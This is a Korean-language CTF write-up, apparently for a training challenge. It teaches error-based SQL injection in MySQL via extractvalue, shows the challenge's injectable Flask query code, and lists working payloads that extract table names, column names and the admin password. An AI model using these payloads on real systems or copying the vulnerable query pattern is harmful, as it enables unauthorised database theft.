
Error based SQL injection에 관한 문제였다.
필자는 모든 과정을 실무에 맞춰서 진행하였음. ctf처럼 컬럼명이 주어진 케이스가 아닌, 실무에서 하는 것 처럼 진행. ( SQLi 실력을 늘리고 싶어서,, ^^ )
쿼리에 대한, 에러처리가 불충분하여, 사용자가 입력한 값에 대한 실행 결과가 에러구문 내 노출되는 취약점
예를 들면, SELECT USERNAME FROM USERS WHERE IDX="?" 라는 구문이 존재할 때 (prepared Statement로 작성된 구문이 아니라는 전제)
idx에 '를 넣은 경우, Syntax에러와 함께, 에러구문이 출력되는 경우 Error based SQLi를 시도할 수 있다.
에러를 강제로 발생시켜, 응답 값 내에 에러가 포함될 수 있도록 하면 된다.
에러가 발생하는데엔, 여러 이유가 있지만, extractvalue라는 방법을 알려준다.
extractvalue(xml_frag, xml_expr)
xml_frag : xml 형식 값
xml_expr : xml 표현 식
이를, extractvalue(1, concat(0x3a,"hi")) 와 같이 표현하였을 때, 응답 값에는 다음과 같이 출력될 것이다.
여기서 concat(0x3a,~)가 추가되는 이유는 ":"를 통하여, 가시성을 좋게 하기도 있고, 버프스위트와 같은 환경에서 0x3a대신 'ttt'와 같이 응답 값 내 존재하지 않을 법한 문자열을 사용하여 필터를 쉽게 걸게 하기 위함이다.

그러므로, 응답 값에 필터를 걸고 시도를 한다면, 원하는 결과를 바로 확인할 수 있다.
(실무에서는, 정말 많은 데이터가 응답 값 내에 실려오기에, 지금처럼 에러메시지를 바로 확인할 수 없기에 위에서 말한 concat을 사용하는 것이다.)
물론, Error based 또한, Blind와 같이 사용할 수 있지만, 실무에서 사용해보면 정말 효율이 떨어지는 작업
그러므로, error 여부 확인 -> 없으면 blind로 공격! 이걸 항상 명심하고 진단하여야한다.
[code]
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
아무런 필터링이 없으므로, 그냥 요청하면 될 듯 하다.
[테이블 명 구하기]
admin'+or+extractvalue(1,concat(0x3a,(select+table_name+from+information_schema.tables+where+table_schema='users'+limit+0,1)));--
[컬럼명 갯수 구하기]
admin'+or+extractvalue(1,concat(0x3a,(select+count(column_name)+from+information_schema.columns+where+table_name='user')));--
[컬럼명 구하기]
admin'+or+extractvalue(1,concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name='user'+limit+0,1)));--
[비밀번호 길이 구하기]
admin'+or+extractvalue(1,concat(0x3a,(select+length(upw)+from+user+where+uid='admin')));--
[비밀번호 구하기]
admin'+or+extractvalue(1,concat(0x3a,(select+upw+from+user+where+uid='admin')));--